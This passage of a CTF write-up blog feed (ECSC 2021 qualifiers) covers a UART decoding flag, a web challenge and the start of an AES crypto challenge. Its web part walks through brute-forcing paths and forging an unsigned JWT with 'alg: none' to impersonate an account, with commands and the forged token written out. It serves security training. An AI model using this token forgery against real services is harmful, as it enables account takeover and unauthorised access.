&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; acii_char &lt;span style="color:#f92672"&gt;=&lt;/span&gt; chr(ascii_num)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; flag&lt;span style="color:#f92672"&gt;.&lt;/span&gt;append(acii_char)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;&amp;#39;----- UART Bytes ASCII: -----&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;join(flag))
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And we can run :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 rev_signal.py signal.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="flag"&gt;
Flag
&lt;a href="#flag" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;ECSC{532141_c0mmun1c4710n_15_3v32ywh323_1n_3m83dd3d!!d52}&lt;/code&gt;&lt;/p&gt;
&lt;h2 id="resources"&gt;
Resources
&lt;a href="#resources" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.analog.com/en/analog-dialogue/articles/uart-a-hardware-communication-protocol.html"&gt;UART: A Hardware Communication Protocol Understanding Universal Asynchronous Receiver/Transmitter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://mypractic.com/lesson-12-serial-port-uart-in-arduino-serial-library-debugging-programs-on-arduino/"&gt;Lesson 12. Serial port UART in Arduino. Serial library. Debugging programs on Arduino.&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>ECSC CTF 2021 - Baby JAWTS Doo Doo Doo</title><link>https://thanoskoutr.com/posts/ctfs/ecsc-greece-quals-2021/baby-jawts-doo-doo-doo/</link><pubDate>Tue, 25 May 2021 00:11:34 +0300</pubDate><guid>https://thanoskoutr.com/posts/ctfs/ecsc-greece-quals-2021/baby-jawts-doo-doo-doo/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/ecsc-ctf-2021.png"/&gt;
&lt;h1 id="web-1---baby-jawts-doo-doo-doo"&gt;
Web 1 - baby JAWTS doo doo doo
&lt;a href="#web-1---baby-jawts-doo-doo-doo" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h1&gt;
&lt;h2 id="challenge-description"&gt;
Challenge Description
&lt;a href="#challenge-description" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;There is None like you, There is None like you, And there will never be another JAWTS hunter, Deemed as worthy as you 🎣 …&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;This challenge is started on-demand.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="steps"&gt;
Steps
&lt;a href="#steps" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="brute-force-uris"&gt;
Brute Force URIs
&lt;a href="#brute-force-uris" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;The first step was to find any open directories-files:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gobuster -u http://159.65.50.127:30139 -w common.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;But nothing was found&amp;hellip;&lt;/p&gt;
&lt;h3 id="input-field"&gt;
Input Field
&lt;a href="#input-field" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;After looking the page and inspecting the HTML-JS code the only valuable piece of info is the input field and the fact that the fish database is stored as an object in memory and we can see all entries. If we search for the flag in the input field we get redirected to:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;http://159.65.50.127:30139/flag
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And we get the following message:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;guest_b28fd64296 does not have access to this flag resource, only a hunter would.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This hints us to alter the cookies in order to impersonate the &lt;code&gt;hunter&lt;/code&gt; user.&lt;/p&gt;
&lt;h3 id="cookies-exploration"&gt;
Cookies Exploration
&lt;a href="#cookies-exploration" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;If we inspect the cookies from the browsers console we see that we have been assigned a random guest user and the cookie hash.&lt;/p&gt;
&lt;p&gt;For the &lt;code&gt;guest_b28fd64296&lt;/code&gt;, the cookie hash is:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0X2IyOGZkNjQyOTYiLCJpYXQiOjE2MjE2OTMzNzJ9.ExAlRH_y22gyH9e3-zJgK9r2pqwTT2sjUv2hiy-RwHM
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we delete the cookie from the browsers console, we try as another guest.&lt;/p&gt;
&lt;p&gt;For the &lt;code&gt;guest_1d304da22b&lt;/code&gt;, the cookie hash is:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0XzFkMzA0ZGEyMmIiLCJpYXQiOjE2MjE2OTMzNTl9.VhviYQMHk4MXACs8BRYj6nfHXu5FbyQRTbagQz6f5EM
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We see that the first part of the cookie is the same &lt;code&gt;eyJ1c2VybmFtZSI6Imd1ZXN0X&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We can try to decode it with base64:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;echo &lt;span style="color:#e6db74"&gt;&amp;#34;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0X&amp;#34;&lt;/span&gt; | base64 -d
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;{&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;alg&amp;#34;&lt;/span&gt;:&lt;span style="color:#e6db74"&gt;&amp;#34;HS256&amp;#34;&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#34;typ&amp;#34;&lt;/span&gt;:&lt;span style="color:#e6db74"&gt;&amp;#34;JWT&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can see it is a Jason Web Token (&lt;strong&gt;JWT&lt;/strong&gt;), as the Challenge name implies, and the Hash algorithm is HMAC + SHA256 (HS256).&lt;/p&gt;
&lt;h3 id="jwt"&gt;
JWT
&lt;a href="#jwt" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;A JWT is made of 3 parts: the Header, the Payload and the Signature. Each part is &lt;code&gt;base64url&lt;/code&gt; encoded, and separated by dots. So for the &lt;code&gt;guest_b28fd64296&lt;/code&gt; user we have the three parts:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;echo &lt;span style="color:#e6db74"&gt;&amp;#34;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9&amp;#34;&lt;/span&gt; | base64 -d
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;{&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;alg&amp;#34;&lt;/span&gt;:&lt;span style="color:#e6db74"&gt;&amp;#34;HS256&amp;#34;&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#34;typ&amp;#34;&lt;/span&gt;:&lt;span style="color:#e6db74"&gt;&amp;#34;JWT&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;echo &lt;span style="color:#e6db74"&gt;&amp;#34;eyJ1c2VybmFtZSI6Imd1ZXN0X2IyOGZkNjQyOTYiLCJpYXQiOjE2MjE2OTMzNzJ9&amp;#34;&lt;/span&gt; | base64 -d
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;{&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;username&amp;#34;&lt;/span&gt;:&lt;span style="color:#e6db74"&gt;&amp;#34;guest_b28fd64296&amp;#34;&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#34;iat&amp;#34;&lt;/span&gt;:1621693372&lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;echo &lt;span style="color:#e6db74"&gt;&amp;#34;VhviYQMHk4MXACs8BRYj6nfHXu5FbyQRTbagQz6f5EM&amp;#34;&lt;/span&gt; | base64 -d
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Va��+&amp;lt;&lt;span style="color:#75715e"&gt;#�w�^�Eo$M��C&amp;gt;��C&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;or we can use the official JWT page: &lt;a href="https://jwt.io"&gt;https://jwt.io&lt;/a&gt;, to analyze these fields.&lt;/p&gt;
&lt;h4 id="jwt-header"&gt;
JWT Header
&lt;a href="#jwt-header" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;The Header is used to specify the hash algorithm used and the token type.&lt;/p&gt;
&lt;h4 id="jwt-payload"&gt;
JWT Payload
&lt;a href="#jwt-payload" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;The Payload can be filled with any info we want to specify a certain user, but everything in this field is not hashed or encrypted so anyone who has the token can see this info. The same goes for the Header part.&lt;/p&gt;
&lt;h4 id="jwt-signature"&gt;
JWT Signature
&lt;a href="#jwt-signature" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;The Signature is just the Header and the Payload hashed together and signed with a secret key, so we can identify if the token is valid.&lt;/p&gt;
&lt;h3 id="jwt-exploit"&gt;
JWT Exploit
&lt;a href="#jwt-exploit" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;We will use the &lt;code&gt;&amp;quot;alg&amp;quot;: &amp;quot;none&amp;quot;&lt;/code&gt; exploit. This exploit can be found explained in detail &lt;a href="https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/#Meet-the--None--Algorithm"&gt;here&lt;/a&gt;, but the basic logic is that we specify that we don&amp;rsquo;t want to use an algorithm to verify the signature and some implementation have not a valid check for this case, we makes it that are token is valid without even the Signature part.&lt;/p&gt;
&lt;p&gt;So we will change the Header and the Payload of the token as we wish.&lt;/p&gt;
&lt;p&gt;For the &lt;strong&gt;Header&lt;/strong&gt; we change the algorithm field to &lt;code&gt;none&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;{&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;alg&amp;#34;&lt;/span&gt;:&lt;span style="color:#e6db74"&gt;&amp;#34;HS256&amp;#34;&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#34;typ&amp;#34;&lt;/span&gt;:&lt;span style="color:#e6db74"&gt;&amp;#34;JWT&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;}&lt;/span&gt; -&amp;gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;alg&amp;#34;&lt;/span&gt;:&lt;span style="color:#e6db74"&gt;&amp;#34;none&amp;#34;&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#34;typ&amp;#34;&lt;/span&gt;:&lt;span style="color:#e6db74"&gt;&amp;#34;JWT&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can encode the new Header using &lt;code&gt;base64&lt;/code&gt; and replace &lt;code&gt;+&lt;/code&gt; with &lt;code&gt;-&lt;/code&gt; and &lt;code&gt;/&lt;/code&gt; with &lt;code&gt;_&lt;/code&gt; and delete the last &lt;code&gt;=&lt;/code&gt; (in order to be the valid &lt;code&gt;base64url&lt;/code&gt; encoding it expects):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;echo -n &lt;span style="color:#e6db74"&gt;&amp;#39;{&amp;#34;alg&amp;#34;:&amp;#34;none&amp;#34;,&amp;#34;typ&amp;#34;:&amp;#34;JWT&amp;#34;}&amp;#39;&lt;/span&gt; | base64 | tr &lt;span style="color:#e6db74"&gt;&amp;#39;/+&amp;#39;&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;_-&amp;#39;&lt;/span&gt; | tr -d &lt;span style="color:#e6db74"&gt;&amp;#39;=&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;else we can use an online tool: &lt;a href="https://www.base64url.com/"&gt;https://www.base64url.com/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;For the &lt;strong&gt;Payload&lt;/strong&gt; we change the username to &lt;code&gt;hunter&lt;/code&gt; as the &lt;code&gt;/flag&lt;/code&gt; page suggests, and use the latest &lt;code&gt;iat&lt;/code&gt; (&lt;em&gt;Issued At&lt;/em&gt;) value in order for the cookie to not be expired:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;{&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;username&amp;#34;&lt;/span&gt;:&lt;span style="color:#e6db74"&gt;&amp;#34;guest_b28fd64296&amp;#34;&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#34;iat&amp;#34;&lt;/span&gt;:1621693372&lt;span style="color:#f92672"&gt;}&lt;/span&gt; -&amp;gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;username&amp;#34;&lt;/span&gt;:&lt;span style="color:#e6db74"&gt;&amp;#34;hunter&amp;#34;&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#34;iat&amp;#34;&lt;/span&gt;:1621693372&lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We encode the Payload as previous:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;echo -n &lt;span style="color:#e6db74"&gt;&amp;#39;{&amp;#34;username&amp;#34;:&amp;#34;hunter&amp;#34;,&amp;#34;iat&amp;#34;:1621693372}&amp;#39;&lt;/span&gt; | base64 | tr &lt;span style="color:#e6db74"&gt;&amp;#39;/+&amp;#39;&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;_-&amp;#39;&lt;/span&gt; | tr -d &lt;span style="color:#e6db74"&gt;&amp;#39;=&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;eyJ1c2VybmFtZSI6Imh1bnRlciIsImlhdCI6MTYyMTY5MzM3Mn0
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we can combine the two fields and add an empty signature using just a dot (&lt;code&gt;.&lt;/code&gt;) as the last character and our new JWT token is:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6Imh1bnRlciIsImlhdCI6MTYyMTY5MzM3Mn0.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can edit and replace the cookie on the browser (&lt;code&gt;Storage/Cookies&lt;/code&gt; tab) and add ours. When we reload the page and we get:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ECSC&lt;span style="color:#f92672"&gt;{&lt;/span&gt;f1n4lly_4_w0r7hy_3n0u6h_J4WTS_hun73r&lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="flag"&gt;
Flag
&lt;a href="#flag" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;ECSC{f1n4lly_4_w0r7hy_3n0u6h_J4WTS_hun73r}&lt;/code&gt;&lt;/p&gt;
&lt;h2 id="resources"&gt;
Resources
&lt;a href="#resources" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a"&gt;Hacking JSON Web Tokens (JWTs)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/"&gt;Critical vulnerabilities in JSON Web Token libraries&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.angular-university.io/angular-jwt/"&gt;JWT: The Complete Guide to JSON Web Tokens&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Usefull tool for JWT attacks: &lt;a href="https://github.com/ticarpi/jwt_tool"&gt;jwt_tool&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>ECSC CTF 2021 - RSA Leaks</title><link>https://thanoskoutr.com/posts/ctfs/ecsc-greece-quals-2021/rsa-leaks/</link><pubDate>Mon, 24 May 2021 23:10:25 +0300</pubDate><guid>https://thanoskoutr.com/posts/ctfs/ecsc-greece-quals-2021/rsa-leaks/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/ecsc-ctf-2021.png"/&gt;
&lt;h1 id="crypto-1---rsa-leaks"&gt;
Crypto 1 - RSA Leaks
&lt;a href="#crypto-1---rsa-leaks" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h1&gt;
&lt;h2 id="challenge-description"&gt;
Challenge Description
&lt;a href="#challenge-description" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;DinoCorp has been experimenting with dinosaurs for years. Their labs are located on an island in the middle of the ocean. We managed to intercept an encrypted message from the head scientist. It looks like something is wrong. Can you decrypt the message?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;This challenge has a downloadable part.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="steps"&gt;
Steps
&lt;a href="#steps" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Unzip challenge files:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;unzip crypto_rsa_leaks.zip
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="first-thoughts"&gt;
First thoughts
&lt;a href="#first-thoughts" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;If we check the files we have:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;top_secret.enc&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;chall.py&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="encrypted-file"&gt;
Encrypted file
&lt;a href="#encrypted-file" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;The first is the encrypted file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat top_secret.enc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PΩ&amp;amp;mh|��A����ۆ���&lt;span style="color:#f92672"&gt;]&lt;/span&gt; |��&amp;lt;EM�N��u���J&lt;span style="color:#f92672"&gt;]{&lt;/span&gt;��V��,�ۨ���lM�c�t3�F&lt;span style="color:#e6db74"&gt;&amp;#34;%��c�R���3�߳��lBr�t5���e��{�T���5�.��h����N��E.D��I ]��V|��.l)M��V����-��:%��&amp;#39;x�c1��޲k��݅a�2�)����b����c�R�|,��)&amp;gt;s�-��7�~�N&amp;amp;-���Xf7cѺ�)�&amp;gt;��
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;em&gt;Maybe some flag is in there&amp;hellip;&lt;/em&gt;&lt;/p&gt;
&lt;h3 id="python-file"&gt;
Python file
&lt;a href="#python-file" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;The python script looks like the code used to encrypt that file which will be very usefull for the decryption later.&lt;/p&gt;
&lt;p&gt;If we inspect the python file we can see that the file is encrypted using the AES algorithm.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; Crypto.Util.Padding &lt;span style="color:#f92672"&gt;import&lt;/span&gt; pad
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; Crypto.Cipher &lt;span style="color:#f92672"&gt;import&lt;/span&gt; AES
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; os
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;encrypt&lt;/span&gt;(key, msg):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; crypto &lt;span style="color:#f92672"&gt;=&lt;/span&gt; AES&lt;span style="color:#f92672"&gt;.&lt;/span&gt;new(key, AES&lt;span style="color:#f92672"&gt;.&lt;/span&gt;MODE_CBC,key)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; crypto&lt;span style="color:#f92672"&gt;.&lt;/span&gt;encrypt(pad(msg, &lt;span style="color:#ae81ff"&gt;16&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;key &lt;span style="color:#f92672"&gt;=&lt;/span&gt; os&lt;span style="color:#f92672"&gt;.&lt;/span&gt;urandom(&lt;span style="color:#ae81ff"&gt;16&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dt &lt;span style="color:#f92672"&gt;=&lt;/span&gt; open(&lt;span style="color:#e6db74"&gt;&amp;#39;top_secret.txt&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;rb&amp;#39;&lt;/span&gt;)&lt;span style="color:#f92672"&gt;.&lt;/span&gt;read()
